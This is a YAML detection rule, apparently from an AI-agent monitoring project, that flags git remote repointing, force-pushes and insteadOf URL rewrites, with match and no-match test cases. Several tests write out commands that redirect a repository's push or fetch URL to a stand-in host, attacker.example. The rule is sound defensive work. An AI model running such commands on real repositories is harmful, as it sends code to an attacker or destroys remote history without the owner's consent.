Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

4.3 KB
Raw Blame
id: git-remote-tampering
version: 5
title: Git remote repointed or force-push to remote
description: >
  A command repoints a git remote (remote set-url / remote add, the config-key form
  remote.<name>.url or remote.<name>.pushurl set to a value, or the same key passed
  for one command with git -c), force-pushes (--force / --force-with-lease / -f / a
  leading + refspec), or installs an insteadOf URL rewrite — ways to redirect
  code to an attacker-controlled destination or overwrite remote history. Every clause
  is git-anchored to a command boundary and kept within one command segment, so a
  benign mention, a `grep insteadOf`, or a read-only `git config --get` does not fire.
severity: high
status: stable
posture: detect
taxonomy:
  beacon_category: source-control
  owasp_llm: LLM03

match: >
  e.event.action == "command.executed" && (
    e.command.command.matches("(?i)(^|[;&|]\\s*)git\\b[^;&|]*\\bremote\\b\\s+(set-url|add)\\b") ||
    e.command.command.matches("(?i)(^|[;&|]\\s*)git\\b[^;&|]*\\bconfig\\b[^;&|]*\\bremote\\.[^ ]+\\.(push)?url\\b\\s+\\S") ||
    e.command.command.matches("(?i)(^|[;&|]\\s*)git\\b[^;&|]*\\s-c\\s+[\"']?remote\\.[^\\s=]+\\.(push)?url=") ||
    e.command.command.matches("(?i)(^|[;&|]\\s*)git\\b[^;&|]*\\bpush\\b[^;&|]*(\\s--force(-with-lease)?\\b|\\s-f\\b|\\s\\+)") ||
    e.command.command.matches("(?i)(^|[;&|]\\s*)git\\b[^;&|]*\\binsteadof\\b")
  )

emit:
  reason: "Git remote repointed, force-pushed, or insteadOf URL rewrite installed"

tests:
  - name: remote_set_url
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git remote set-url origin https://attacker.example/x.git" }
        session: { id: s1 }
  - name: force_push
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git push --force origin main" }
        session: { id: s1 }
  - name: force_after_positional
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git push origin --force main" }
        session: { id: s1 }
  - name: force_refspec_plus
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git push origin +main" }
        session: { id: s1 }
  - name: config_remote_url
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git config remote.origin.url https://attacker.example/x.git" }
        session: { id: s1 }
  - name: instead_of_rewrite
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git config url.https://attacker.example/.insteadOf https://github.com/" }
        session: { id: s1 }
  - name: config_remote_pushurl
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git config remote.origin.pushurl https://attacker.example/x.git" }
        session: { id: s1 }
  - name: one_off_pushurl_override
    verdict: match
    events:
      - event: { action: command.executed }
        command: { command: "git -c remote.origin.pushurl=https://attacker.example/x.git push origin main" }
        session: { id: s1 }
  - name: read_remote_pushurl
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "git config --get remote.origin.pushurl" }
        session: { id: s1 }
  - name: ordinary_push
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "git push origin main" }
        session: { id: s1 }
  - name: remote_list
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "git remote -v" }
        session: { id: s1 }
  - name: config_remote_url_read_only
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "git config --get remote.origin.url" }
        session: { id: s1 }
  - name: echo_mention
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "echo git remote set-url is dangerous" }
        session: { id: s1 }
  - name: grep_insteadof_docs
    verdict: no_match
    events:
      - event: { action: command.executed }
        command: { command: "man git-config | grep insteadOf" }
        session: { id: s1 }